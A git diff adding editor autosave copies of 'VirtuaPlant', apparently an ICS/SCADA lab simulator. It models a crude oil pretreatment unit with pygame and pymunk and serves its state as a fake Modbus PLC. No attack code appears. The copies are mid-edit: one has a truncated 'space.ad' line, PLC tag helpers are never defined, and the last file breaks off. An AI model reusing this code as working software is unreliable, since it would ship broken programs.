+SCREEN_HEIGHT = 460 +FPS=50.0 + +# Port the world will listen on +MODBUS_SERVER_PORT=5020 + +# Amount of oil spilled/processed +oil_spilled_amount = 0 +oil_processed_amount = 0 + +# PLC Register values for various control functions +PLC_FEED_PUMP = 0x01 +PLC_TANK_LEVEL = 0x02 +PLC_OUTLET_VALVE = 0x03 +PLC_SEP_VESSEL = 0x04 +PLC_SEP_FEED = 0x05 +PLC_OIL_SPILL = 0x06 +PLC_OIL_PROCESSED = 0x07 + +# Collision types +tank_level_collision = 0x4 +ball_collision = 0x5 +outlet_valve_collision = 0x6 +sep_vessel_collision = 0x7 +separator_collision = 0x8 +oil_spill_collision = 0x9 + + +def to_pygame(p): + """Small hack to convert pymunk to pygame coordinates""" + return int(p.x), int(-p.y+600) + +# Add "oil" to the world space +def add_ball(space): + mass = 0.01 + radius = 3 + inertia = pymunk.moment_for_circle(mass, 0, radius, (0,0)) + body = pymunk.Body(mass, inertia) + body._bodycontents.v_limit = 120 + body._bodycontents.h_limit = 1 + x = random.randint(69, 70) + body.position = x, 565 + shape = pymunk.Circle(body, radius, (0,0)) + shape.collision_type = ball_collision #liquid + space.add(body, shape) + return shape + +# Add a ball to the space +def draw_ball(screen, ball, color=THECOLORS['brown']): + p = int(ball.body.position.x), 600-int(ball.body.position.y) + pygame.draw.circle(screen, color, p, int(ball.radius), 2) + +# Add the separator vessel feed +def separator_vessel_feed(space): + body = pymunk.Body() + body.position = (420, 257) + radius = 4 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = separator_collision # Collision value for separator + space.add(shape) + return shape + +# Add the separator vessel release +def separator_vessel_release(space): + body = pymunk.Body() + body.position = (387, 225) + radius = 4 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = sep_vessel_collision + space.add(shape) + return shape + +# Add the tank level sensor +def tank_level_sensor(space): + body = pymunk.Body() + body.position = (115, 535) + radius = 3 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = tank_level_collision # tank_level + space.add(shape) + return shape + +def outlet_valve_sensor(space): + body = pymunk.Body() + body.position = (70, 410) + # Check these coords and adjust + a = (-20, 10) + b = (20, 10) + radius = 4 + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = outlet_valve_collision + space.add(shape) + return shape + +def oil_spill_sensor(space): + body = pymunk.Body() + body.position = (0, 0) + radius = 7 + a = (0, 75) + b = (SCREEN_WIDTH, 75) + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = oil_spill_collision # oil spill sensor + space.add(shape) + return shape + +# Add the feed pump to the space +def add_pump(space): + body = pymunk.Body() + body.position = (70, 585) + shape = pymunk.Poly.create_box(body, (15, 20), (0, 0), 0) + space.add(shape) + return shape + +# Draw the various "pipes" that the oil flows through +# TODO: Get rid of magic numbers and add constants + offsets +def add_oil_unit(space): + body = pymunk.Body() + body.position = (300,300) + + #oil storage unit + l1 = pymunk.Segment(body, (-278, 270), (-278, 145), 5) #left side line + l2 = pymunk.Segment(body, (-278, 145), (-246, 107), 5) + l3 = pymunk.Segment(body, (-180, 270), (-180, 145), 5) #right side line + l4 = pymunk.Segment(body, (-180, 145), (-215, 107), 5) + + #pipe to separator vessel + l5 = pymunk.Segment(body, (-246, 107), (-246, 53), 5) #left side vertical line + l6 = pymunk.Segment(body, (-246, 53), (-19, 53), 5) #bottom horizontal line + l7 = pymunk.Segment(body, (-19, 53), (-19, 33), 5) + l8 = pymunk.Segment(body, (-215, 107), (-215, 80), 5) #right side vertical line + l9 = pymunk.Segment(body, (-215, 80), (7, 80), 5) #top horizontal line + l10 = pymunk.Segment(body, (7, 80), (7, 33), 5) + + #separator vessel + l11 = pymunk.Segment(body, (-19, 31), (-95, 31), 5) #top left horizontal line + l12 = pymunk.Segment(body, (-95, 31), (-95, -23), 5) #left side vertical line + l13 = pymunk.Segment(body, (-95, -23), (-83, -23), 5) + l14 = pymunk.Segment(body, (-83, -23), (-80, -80), 5) #left waste exit line + l15 = pymunk.Segment(body, (-68, -80), (-65, -23), 5) #right waste exit line + l16 = pymunk.Segment(body, (-65, -23), (-45, -23), 5) + l17 = pymunk.Segment(body, (-45, -23), (-45, -67), 5) #elevation vertical line + l18 = pymunk.Segment(body, (-45, -67), (13, -67), 5) #left bottom line + l19 = pymunk.Segment(body, (13, -67), (13, -82), 5) #left side separator exit line + l20 = pymunk.Segment(body, (43, -82), (43, -67), 5) #right side separator exit line + l21 = pymunk.Segment(body, (43, -67), (65, -62), 5) #rigt side diagonal line + l22 = pymunk.Segment(body, (65, -62), (77, 31), 5) #right vertical line + l23 = pymunk.Segment(body, (77, 31), (7, 31), 5) #top right horizontal line + l24 = pymunk.Segment(body, (-3, -67), (-3, 10), 5) #center separator line + + #separator exit pipe + l25 = pymunk.Segment(body, (43, -85), (43, -113), 5) #right side vertical line + l26 = pymunk.Segment(body, (43, -113), (580, -113), 5) #top horizontal line + l27 = pymunk.Segment(body, (13, -85), (13, -140), 5) #left vertical line + l28 = pymunk.Segment(body, (13, -140), (580, -140), 5) #bottom horizontal line + + #waste water pipe + l29 = pymunk.Segment(body, (-87, -85), (-87, -112), 5) #left side waste line + l30 = pymunk.Segment(body, (-60, -85), (-60, -140), 5) #right side waste line + l31 = pymunk.Segment(body, (-87, -112), (-163, -112), 5) #top horizontal line + l32 = pymunk.Segment(body, (-60, -140), (-134, -140), 5) #bottom horizontal line + l33 = pymunk.Segment(body, (-163, -112), (-163, -185), 5) #left side vertical line + l34 = pymunk.Segment(body, (-134, -140), (-134, -185), 5) #right side vertical line + + space.add(l1, l2, l3, l4, l5, l6, l7, l8, l9, l10, l11, l12, l13, l14, l15, + l16, l17, l18, l19, l20, l21, l22, l23, l24, l25, + l26, l27, l28, l29, l30, l31, l32, l33, l34) # 3 + + return (l1,l2,l3,l4,l5,l6,l7,l8,l9,l10,l11,l12,l13,l14,l15,l16, + l17,l18,l19,l20,l21,l22,l23,l24,l25,l26,l27,l28,l29,l30, + l31,l32,l33,l34) + +def draw_polygon(bg, shape): + points = shape.get_vertices() + fpoints = [] + for p in points: + fpoints.append(to_pygame(p)) + pygame.draw.polygon(bg, THECOLORS['black'], fpoints) + +# Draw a single line to the screen +def draw_line(screen, line, color = None): + body = line.body + pv1 = body.position + line.a.rotated(body.angle) # 1 + pv2 = body.position + line.b.rotated(body.angle) + p1 = to_pygame(pv1) # 2 + p2 = to_pygame(pv2) + if color is None: + pygame.draw.lines(screen, THECOLORS["black"], False, [p1,p2]) + else: + pygame.draw.lines(screen, color, False, [p1,p2]) + +# Draw lines from an iterable list +def draw_lines(screen, lines): + for line in lines: + body = line.body + pv1 = body.position + line.a.rotated(body.angle) # 1 + pv2 = body.position + line.b.rotated(body.angle) + p1 = to_pygame(pv1) # 2 + p2 = to_pygame(pv2) + pygame.draw.lines(screen, THECOLORS["gray"], False, [p1,p2]) + +# Default collision function for objects +# Returning true makes the two objects collide normally just like "walls/pipes" +def no_collision(space, arbiter, *args, **kwargs): + return True + +# Called when level sensor in tank is hit +def level_reached(space, arbiter, *args, **kwargs): + log.debug("Level reached") + PLCSetTag(PLC_TANK_LEVEL, 1) # Level Sensor Hit, Tank full + PLCSetTag(PLC_FEED_PUMP, 0) # Turn off the pump +# PLCSetTag(PLC_OUTLET_VALVE, 1) # Set the outlet valve to 1 + return False + +def oil_spilled(space, arbiter, *args, **kwargs): + global oil_spilled_amount + global oil_processed_amount + log.debug("Oil Spilled") + oil_spilled_amount = oil_spilled_amount + 1 + PLCSetTag(PLC_OIL_SPILL, oil_spilled_amount) # We lost a unit of oil + PLCSetTag(PLC_FEED_PUMP, 0) # Attempt to shut off the pump + return False + +# This fires when the separator level is hit +def sep_on(space, arbiter, *args, **kwargs): + log.debug("Begin separation") + PLCSetTag(PLC_SEP_VESSEL, 1) # Sep vessel hit, begin processing + return False + +# This fires when the separator is not processing +def sep_off(space, arbiter, *args, **kwargs): + log.debug("Begin separation") + PLCSetTag(PLC_SEP_VESSEL, 0) # Sep vessel hit, begin processing + return False + +def sep_feed_on(space, arbiter, *args, **kwargs): + log.debug("Outlet Feed") + PLCSetTag(PLC_SEP_FEED, 1) + return False + +def outlet_valve_open(space, arbiter, *args, **kwargs): + log.debug("Outlet valve open") + PLCSetTag(PLC_OUTLET_VALVE, 0) + return False + +def outlet_valve_closed(space, arbiter, *args, **kwargs): + log.debug("Outlet valve close") + PLCSetTag(PLC_OUTLET_VALVE, 1) + return False + +def run_world(): + pygame.init() + screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT)) + pygame.display.set_caption("Crude Oil Pretreatment Unit") + clock = pygame.time.Clock() + running = True + + + # Create game space (world) and set gravity to normal + space = pymunk.Space() #2 + space.gravity = (0.0, -900.0) + + # When oil collides with tank_level, call level_reached + space.add_collision_handler(tank_level_collision, ball_collision, begin=level_reached) + space.add_collision_handler(oil_spill_collision, ball_collision, begin=oil_spilled) + + + pump = add_pump(space) + lines = add_oil_unit(space) + tank_level = tank_level_sensor(space) + separator_vessel = separator_vessel_release(space) + separator_feed = separator_vessel_feed(space) + separator_feed = separator_vessel_feed(space) + space.ad + outlet = outlet_valve_sensor(space) + + + balls = [] + + ticks_to_next_ball = 1 + + # Set font settings + fontBig = pygame.font.SysFont(None, 40) + fontMedium = pygame.font.SysFont(None, 26) + fontSmall = pygame.font.SysFont(None, 18) + + while running: + # Advance the game clock + clock.tick(FPS) + + for event in pygame.event.get(): + if event.type == QUIT: + running = False + elif event.type == KEYDOWN and event.key == K_ESCAPE: + running = False + + bg = pygame.image.load("oil_unit.png") + + screen.fill(THECOLORS["grey"]) + + # If the feed pump is on + if PLCGetTag(PLC_FEED_PUMP) == 1: + # Draw the valve if the pump is on + # If the oil reaches the level sensor at the top of the tank + if (PLCGetTag(PLC_TANK_LEVEL) == 1): + PLCSetTag(PLC_FEED_PUMP, 0) + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on) + space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on) + + else: + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision) + + if PLCGetTag(PLC_OUTLET_VALVE) == 1: # Valve is closed + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=outlet_valve_closed) + elif PLCGetTag(PLC_OUTLET_VALVE) == 0: # Valve is open + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision) + + # If the separator process is turned on + if PLCGetTag(PLC_SEP_VESSEL) == 1: + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on) + space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on) + else: + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=no_collision) + space.add_collision_handler(separator_collision, ball_collision, begin=no_collision) + + + ticks_to_next_ball -= 1 + + if ticks_to_next_ball <= 0 and PLCGetTag(PLC_FEED_PUMP) == 1: + ticks_to_next_ball = 1 + ball_shape = add_ball(space) + balls.append(ball_shape) + + balls_to_remove = [] + for ball in balls: + if ball.body.position.y < 0 or ball.body.position.x > SCREEN_WIDTH+150: + balls_to_remove.append(ball) + + draw_ball(bg, ball) + + for ball in balls_to_remove: + space.remove(ball, ball.body) + balls.remove(ball) + + draw_polygon(bg, pump) + draw_lines(bg, lines) + draw_ball(bg, tank_level, THECOLORS['black']) + draw_ball(bg, separator_vessel, THECOLORS['black']) + draw_ball(bg, separator_feed, THECOLORS['black']) + draw_line(bg, outlet) + + #draw_ball(screen, separator_feed, THECOLORS['red']) + title = fontMedium.render(str("Crude Oil Pretreatment Unit"), 1, THECOLORS['blue']) + name = fontBig.render(str("VirtuaPlant"), 1, THECOLORS['gray20']) + instructions = fontSmall.render(str("(press ESC to quit)"), 1, THECOLORS['gray']) + feed_pump_label = fontMedium.render(str("Feed Pump"), 1, THECOLORS['blue']) + oil_storage_label = fontMedium.render(str("Oil Storage Unit"), 1, THECOLORS['blue']) + separator_label = fontMedium.render(str("Separator Vessel"), 1, THECOLORS['blue']) + waste_water_label = fontMedium.render(str("Waste Water Treatment Unit"), 1, THECOLORS['blue']) + tank_sensor = fontSmall.render(str("Tank Level Sensor"), 1, THECOLORS['blue']) + separator_release = fontSmall.render(str("Separator Vessel Release Sensor"), 1, THECOLORS['blue']) + waste_sensor = fontSmall.render(str("Waste Water Sensor"), 1, THECOLORS['blue']) + outlet_sensor = fontSmall.render(str("Outlet Valve Sensor"), 1, THECOLORS['blue']) + + bg.blit(title, (300, 40)) + bg.blit(name, (347, 10)) + bg.blit(instructions, (SCREEN_WIDTH-115, 0)) + bg.blit(feed_pump_label, (80, 0)) + bg.blit(oil_storage_label, (125, 100)) + bg.blit(separator_label, (385,275)) + screen.blit(waste_water_label, (265, 490)) + bg.blit(tank_sensor, (125, 50)) + bg.blit(outlet_sensor, (90, 195)) + bg.blit(separator_release, (350, 375)) + bg.blit(waste_sensor, (90, 375)) + screen.blit(bg, (0, 0)) + + space.step(1/FPS) + pygame.display.flip() + + if reactor.running: + reactor.callFromThread(reactor.stop) + +store = ModbusSlaveContext( + di = ModbusSequentialDataBlock(0, [0]*100), + co = ModbusSequentialDataBlock(0, [0]*100), + hr = ModbusSequentialDataBlock(0, [0]*100), + ir = ModbusSequentialDataBlock(0, [0]*100)) + +context = ModbusServerContext(slaves=store, single=True) + +# Modbus PLC server information +identity = ModbusDeviceIdentification() +identity.VendorName = 'Simmons Oil Refining Platform' +identity.ProductCode = 'SORP' +identity.VendorUrl = 'http://simmons.com/markets/oil-gas/pages/refining-industry.html' +identity.ProductName = 'SORP 3850' +identity.ModelName = 'Simmons ORP 3850' +identity.MajorMinorRevision = '2.09.01' + +def startModbusServer(): + # Run a modbus server on specified address and modbus port (5020) + StartTcpServer(context, identity=identity, address=(args.server_addr, MODBUS_SERVER_PORT)) + +def main(): + reactor.callInThread(run_world) + startModbusServer() + +if __name__ == '__main__': + sys.exit(main()) diff --git a/plants/oil-refinery/.~c9_invoke_vBNVon.py b/plants/oil-refinery/.~c9_invoke_vBNVon.py new file mode 100644 index 0000000..684529f --- /dev/null +++ b/plants/oil-refinery/.~c9_invoke_vBNVon.py @@ -0,0 +1,468 @@ +#!/usr/bin/env python +import logging + +# - Multithreading +from twisted.internet import reactor + +# - Modbus +from pymodbus.server.async import StartTcpServer +from pymodbus.device import ModbusDeviceIdentification +from pymodbus.datastore import ModbusSequentialDataBlock +from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext +from pymodbus.transaction import ModbusRtuFramer, ModbusAsciiFramer + +# - World Simulator +import sys, random +import pygame +from pygame.locals import * +from pygame.color import * +import pymunk + +import socket + +import argparse +import os +import sys +import time + +# Override Argument parser to throw error and generate help message +# if undefined args are passed +class MyParser(argparse.ArgumentParser): + def error(self, message): + sys.stderr.write('error: %s\n' % message) + self.print_help() + sys.exit(2) + +# Create argparser object to add command line args and help option +parser = MyParser( + description = 'This Python script starts the SCADA/ICS World Server', + epilog = '', + add_help = True) + +# Add a "-i" argument to receive a filename +parser.add_argument("-t", action = "store", dest="server_addr", + help = "Modbus server IP address to listen on") + +# Print help if no args are supplied +if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + +# Split and process arguments into "args" +args = parser.parse_args() + +logging.basicConfig() +log = logging.getLogger() +log.setLevel(logging.INFO) + +# Display settings +SCREEN_WIDTH = 580 +SCREEN_HEIGHT = 460 +FPS=50.0 + +# Port the world will listen on +MODBUS_SERVER_PORT=5020 + +# Amount of oil spilled/processed +oil_spilled_amount = 0 +oil_processed_amount = 0 + +# PLC Register values for various control functions +PLC_FEED_PUMP = 0x01 +PLC_TANK_LEVEL = 0x02 +PLC_OUTLET_VALVE = 0x03 +PLC_SEP_VESSEL = 0x04 +PLC_SEP_FEED = 0x05 +PLC_OIL_SPILL = 0x06 +PLC_OIL_PROCESSED = 0x07 + +# Collision types +tank_level_collision = 0x4 +ball_collision = 0x5 +outlet_valve_collision = 0x6 +sep_vessel_collision = 0x7 +separator_collision = 0x8 +oil_spill_collision = 0x9 + + +def to_pygame(p): + """Small hack to convert pymunk to pygame coordinates""" + return int(p.x), int(-p.y+600) + +# Add "oil" to the world space +def add_ball(space): + mass = 0.01 + radius = 3 + inertia = pymunk.moment_for_circle(mass, 0, radius, (0,0)) + body = pymunk.Body(mass, inertia) + body._bodycontents.v_limit = 120 + body._bodycontents.h_limit = 1 + x = random.randint(69, 70) + body.position = x, 565 + shape = pymunk.Circle(body, radius, (0,0)) + shape.collision_type = ball_collision #liquid + space.add(body, shape) + return shape + +# Add a ball to the space +def draw_ball(screen, ball, color=THECOLORS['brown']): + p = int(ball.body.position.x), 600-int(ball.body.position.y) + pygame.draw.circle(screen, color, p, int(ball.radius), 2) + +# Add the separator vessel feed +def separator_vessel_feed(space): + body = pymunk.Body() + body.position = (420, 257) + radius = 4 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = separator_collision # Collision value for separator + space.add(shape) + return shape + +# Add the separator vessel release +def separator_vessel_release(space): + body = pymunk.Body() + body.position = (387, 225) + radius = 4 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = sep_vessel_collision + space.add(shape) + return shape + +# Add the tank level sensor +def tank_level_sensor(space): + body = pymunk.Body() + body.position = (115, 535) + radius = 3 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = tank_level_collision # tank_level + space.add(shape) + return shape + +def outlet_valve_sensor(space): + body = pymunk.Body() + body.position = (70, 410) + # Check these coords and adjust + a = (-20, 10) + b = (20, 10) + radius = 4 + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = outlet_valve_collision + space.add(shape) + return shape + +def oil_spill_sensor(space): + body = pymunk.Body() + body.position = (0, 0) + radius = 7 + a = (0, 75) + b = (SCREEN_WIDTH, 75) + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = oil_spill_collision # oil spill sensor + space.add(shape) + return shape + +# Add the feed pump to the space +def add_pump(space): + body = pymunk.Body() + body.position = (70, 585) + shape = pymunk.Poly.create_box(body, (15, 20), (0, 0), 0) + space.add(shape) + return shape + +# Draw the various "pipes" that the oil flows through +# TODO: Get rid of magic numbers and add constants + offsets +def add_oil_unit(space): + body = pymunk.Body() + body.position = (300,300) + + #oil storage unit + l1 = pymunk.Segment(body, (-278, 270), (-278, 145), 5) #left side line + l2 = pymunk.Segment(body, (-278, 145), (-246, 107), 5) + l3 = pymunk.Segment(body, (-180, 270), (-180, 145), 5) #right side line + l4 = pymunk.Segment(body, (-180, 145), (-215, 107), 5) + + #pipe to separator vessel + l5 = pymunk.Segment(body, (-246, 107), (-246, 53), 5) #left side vertical line + l6 = pymunk.Segment(body, (-246, 53), (-19, 53), 5) #bottom horizontal line + l7 = pymunk.Segment(body, (-19, 53), (-19, 33), 5) + l8 = pymunk.Segment(body, (-215, 107), (-215, 80), 5) #right side vertical line + l9 = pymunk.Segment(body, (-215, 80), (7, 80), 5) #top horizontal line + l10 = pymunk.Segment(body, (7, 80), (7, 33), 5) + + #separator vessel + l11 = pymunk.Segment(body, (-19, 31), (-95, 31), 5) #top left horizontal line + l12 = pymunk.Segment(body, (-95, 31), (-95, -23), 5) #left side vertical line + l13 = pymunk.Segment(body, (-95, -23), (-83, -23), 5) + l14 = pymunk.Segment(body, (-83, -23), (-80, -80), 5) #left waste exit line + l15 = pymunk.Segment(body, (-68, -80), (-65, -23), 5) #right waste exit line + l16 = pymunk.Segment(body, (-65, -23), (-45, -23), 5) + l17 = pymunk.Segment(body, (-45, -23), (-45, -67), 5) #elevation vertical line + l18 = pymunk.Segment(body, (-45, -67), (13, -67), 5) #left bottom line + l19 = pymunk.Segment(body, (13, -67), (13, -82), 5) #left side separator exit line + l20 = pymunk.Segment(body, (43, -82), (43, -67), 5) #right side separator exit line + l21 = pymunk.Segment(body, (43, -67), (65, -62), 5) #rigt side diagonal line + l22 = pymunk.Segment(body, (65, -62), (77, 31), 5) #right vertical line + l23 = pymunk.Segment(body, (77, 31), (7, 31), 5) #top right horizontal line + l24 = pymunk.Segment(body, (-3, -67), (-3, 10), 5) #center separator line + + #separator exit pipe + l25 = pymunk.Segment(body, (43, -85), (43, -113), 5) #right side vertical line + l26 = pymunk.Segment(body, (43, -113), (580, -113), 5) #top horizontal line + l27 = pymunk.Segment(body, (13, -85), (13, -140), 5) #left vertical line + l28 = pymunk.Segment(body, (13, -140), (580, -140), 5) #bottom horizontal line + + #waste water pipe + l29 = pymunk.Segment(body, (-87, -85), (-87, -112), 5) #left side waste line + l30 = pymunk.Segment(body, (-60, -85), (-60, -140), 5) #right side waste line + l31 = pymunk.Segment(body, (-87, -112), (-163, -112), 5) #top horizontal line + l32 = pymunk.Segment(body, (-60, -140), (-134, -140), 5) #bottom horizontal line + l33 = pymunk.Segment(body, (-163, -112), (-163, -185), 5) #left side vertical line + l34 = pymunk.Segment(body, (-134, -140), (-134, -185), 5) #right side vertical line + + space.add(l1, l2, l3, l4, l5, l6, l7, l8, l9, l10, l11, l12, l13, l14, l15, + l16, l17, l18, l19, l20, l21, l22, l23, l24, l25, + l26, l27, l28, l29, l30, l31, l32, l33, l34) # 3 + + return (l1,l2,l3,l4,l5,l6,l7,l8,l9,l10,l11,l12,l13,l14,l15,l16, + l17,l18,l19,l20,l21,l22,l23,l24,l25,l26,l27,l28,l29,l30, + l31,l32,l33,l34) + +def draw_polygon(bg, shape): + points = shape.get_vertices() + fpoints = [] + for p in points: + fpoints.append(to_pygame(p)) + pygame.draw.polygon(bg, THECOLORS['black'], fpoints) + +# Draw a single line to the screen +def draw_line(screen, line, color = None): + body = line.body + pv1 = body.position + line.a.rotated(body.angle) # 1 + pv2 = body.position + line.b.rotated(body.angle) + p1 = to_pygame(pv1) # 2 + p2 = to_pygame(pv2) + if color is None: + pygame.draw.lines(screen, THECOLORS["black"], False, [p1,p2]) + else: + pygame.draw.lines(screen, color, False, [p1,p2]) + +# Draw lines from an iterable list +def draw_lines(screen, lines): + for line in lines: + body = line.body + pv1 = body.position + line.a.rotated(body.angle) # 1 + pv2 = body.position + line.b.rotated(body.angle) + p1 = to_pygame(pv1) # 2 + p2 = to_pygame(pv2) + pygame.draw.lines(screen, THECOLORS["gray"], False, [p1,p2]) + +# Default collision function for objects +# Returning true makes the two objects collide normally just like "walls/pipes" +def no_collision(space, arbiter, *args, **kwargs): + return True + +# Called when level sensor in tank is hit +def level_reached(space, arbiter, *args, **kwargs): + log.debug("Level reached") + PLCSetTag(PLC_TANK_LEVEL, 1) # Level Sensor Hit, Tank full + PLCSetTag(PLC_FEED_PUMP, 0) # Turn off the pump +# PLCSetTag(PLC_OUTLET_VALVE, 1) # Set the outlet valve to 1 + return False + +def oil_spilled(space, arbiter, *args, **kwargs): + global oil_spilled_amount + global oil_processed_amount + log.debug("Oil Spilled") + oil_spilled_amount = oil_spilled_amount + 1 + PLCSetTag(PLC_OIL_SPILL, oil_spilled_amount) # We lost a unit of oil + PLCSetTag(PLC_FEED_PUMP, 0) # Attempt to shut off the pump + return False + +# This fires when the separator level is hit +def sep_on(space, arbiter, *args, **kwargs): + log.debug("Begin separation") + PLCSetTag(PLC_SEP_VESSEL, 1) # Sep vessel hit, begin processing + return False + +# This fires when the separator is not processing +def sep_off(space, arbiter, *args, **kwargs): + log.debug("Begin separation") + PLCSetTag(PLC_SEP_VESSEL, 0) # Sep vessel hit, begin processing + return False + +def sep_feed_on(space, arbiter, *args, **kwargs): + log.debug("Outlet Feed") + PLCSetTag(PLC_SEP_FEED, 1) + return False + +def outlet_valve_open(space, arbiter, *args, **kwargs): + log.debug("Outlet valve open") + PLCSetTag(PLC_OUTLET_VALVE, 0) + return False + +def outlet_valve_closed(space, arbiter, *args, **kwargs): + log.debug("Outlet valve close") + PLCSetTag(PLC_OUTLET_VALVE, 1) + return False + +def run_world(): + pygame.init() + screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT)) + pygame.display.set_caption("Crude Oil Pretreatment Unit") + clock = pygame.time.Clock() + running = True + + + # Create game space (world) and set gravity to normal + space = pymunk.Space() #2 + space.gravity = (0.0, -900.0) + + # When oil collides with tank_level, call level_reached + space.add_collision_handler(tank_level_collision, ball_collision, begin=level_reached) + space.add_collision_handler(oil_spill_collision, ball_collision, begin=oil_spilled) + + + pump = add_pump(space) + lines = add_oil_unit(space) + tank_level = tank_level_sensor(space) + separator_vessel = separator_vessel_release(space) + separator_feed = separator_vessel_feed(space) + separator_feed = separator_vessel_feed(space) + oil_spill = oil_spill_sensor(space) + outlet = outlet_valve_sensor(space) + + + balls = [] + + ticks_to_next_ball = 1 + + # Set font settings + fontBig = pygame.font.SysFont(None, 40) + fontMedium = pygame.font.SysFont(None, 26) + fontSmall = pygame.font.SysFont(None, 18) + + while running: + # Advance the game clock + clock.tick(FPS) + + for event in pygame.event.get(): + if event.type == QUIT: + running = False + elif event.type == KEYDOWN and event.key == K_ESCAPE: + running = False + + bg = pygame.image.load("oil_unit.png") + + screen.fill(THECOLORS["grey"]) + + # If the feed pump is on + if PLCGetTag(PLC_FEED_PUMP) == 1: + # Draw the valve if the pump is on + # If the oil reaches the level sensor at the top of the tank + if (PLCGetTag(PLC_TANK_LEVEL) == 1): + PLCSetTag(PLC_FEED_PUMP, 0) + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on) + space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on) + + else: + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision) + + if PLCGetTag(PLC_OUTLET_VALVE) == 1: # Valve is closed + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=outlet_valve_closed) + elif PLCGetTag(PLC_OUTLET_VALVE) == 0: # Valve is open + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision) + + # If the separator process is turned on + if PLCGetTag(PLC_SEP_VESSEL) == 1: + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on) + space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on) + else: + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=no_collision) + space.add_collision_handler(separator_collision, ball_collision, begin=no_collision) + + + ticks_to_next_ball -= 1 + + if ticks_to_next_ball <= 0 and PLCGetTag(PLC_FEED_PUMP) == 1: + ticks_to_next_ball = 1 + ball_shape = add_ball(space) + balls.append(ball_shape) + + balls_to_remove = [] + for ball in balls: + if ball.body.position.y < 0 or ball.body.position.x > SCREEN_WIDTH+150: + balls_to_remove.append(ball) + + draw_ball(bg, ball) + + for ball in balls_to_remove: + space.remove(ball, ball.body) + balls.remove(ball) + + draw_polygon(bg, pump) + draw_lines(bg, lines) + draw_ball(bg, tank_level, THECOLORS['black']) + draw_ball(bg, separator_vessel, THECOLORS['black']) + draw_ball(bg, separator_feed, THECOLORS['black']) + draw_line(bg, outlet) + + #draw_ball(screen, separator_feed, THECOLORS['red']) + title = fontMedium.render(str("Crude Oil Pretreatment Unit"), 1, THECOLORS['blue']) + name = fontBig.render(str("VirtuaPlant"), 1, THECOLORS['gray20']) + instructions = fontSmall.render(str("(press ESC to quit)"), 1, THECOLORS['gray']) + feed_pump_label = fontMedium.render(str("Feed Pump"), 1, THECOLORS['blue']) + oil_storage_label = fontMedium.render(str("Oil Storage Unit"), 1, THECOLORS['blue']) + separator_label = fontMedium.render(str("Separator Vessel"), 1, THECOLORS['blue']) + waste_water_label = fontMedium.render(str("Waste Water Treatment Unit"), 1, THECOLORS['blue']) + tank_sensor = fontSmall.render(str("Tank Level Sensor"), 1, THECOLORS['blue']) + separator_release = fontSmall.render(str("Separator Vessel Release Sensor"), 1, THECOLORS['blue']) + waste_sensor = fontSmall.render(str("Waste Water Sensor"), 1, THECOLORS['blue']) + outlet_sensor = fontSmall.render(str("Outlet Valve Sensor"), 1, THECOLORS['blue']) + + bg.blit(title, (300, 40)) + bg.blit(name, (347, 10)) + bg.blit(instructions, (SCREEN_WIDTH-115, 0)) + bg.blit(feed_pump_label, (80, 0)) + bg.blit(oil_storage_label, (125, 100)) + bg.blit(separator_label, (385,275)) + screen.blit(waste_water_label, (265, 490)) + bg.blit(tank_sensor, (125, 50)) + bg.blit(outlet_sensor, (90, 195)) + bg.blit(separator_release, (350, 375)) + bg.blit(waste_sensor, (90, 375)) + screen.blit(bg, (0, 0)) + + space.step(1/FPS) + pygame.display.flip() + + if reactor.running: + reactor.callFromThread(reactor.stop) + +store = ModbusSlaveContext( + di = ModbusSequentialDataBlock(0, [0]*100), + co = ModbusSequentialDataBlock(0, [0]*100), + hr = ModbusSequentialDataBlock(0, [0]*100), + ir = ModbusSequentialDataBlock(0, [0]*100)) + +context = ModbusServerContext(slaves=store, single=True) + +# Modbus PLC server information +identity = ModbusDeviceIdentification() +identity.VendorName = 'Simmons Oil Refining Platform' +identity.ProductCode = 'SORP' +identity.VendorUrl = 'http://simmons.com/markets/oil-gas/pages/refining-industry.html' +identity.ProductName = 'SORP 3850' +identity.ModelName = 'Simmons ORP 3850' +identity.MajorMinorRevision = '2.09.01' + +def startModbusServer(): + # Run a modbus server on specified address and modbus port (5020) + StartTcpServer(context, identity=identity, address=(args.server_addr, MODBUS_SERVER_PORT)) + +def main(): + reactor.callInThread(run_world) + startModbusServer() + +if __name__ == '__main__': + sys.exit(main()) diff --git a/plants/oil-refinery/.~c9_invoke_wY9SBa.py b/plants/oil-refinery/.~c9_invoke_wY9SBa.py new file mode 100644 index 0000000..6db5510 --- /dev/null +++ b/plants/oil-refinery/.~c9_invoke_wY9SBa.py @@ -0,0 +1,468 @@ +#!/usr/bin/env python +import logging + +# - Multithreading +from twisted.internet import reactor + +# - Modbus +from pymodbus.server.async import StartTcpServer +from pymodbus.device import ModbusDeviceIdentification +from pymodbus.datastore import ModbusSequentialDataBlock +from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext +from pymodbus.transaction import ModbusRtuFramer, 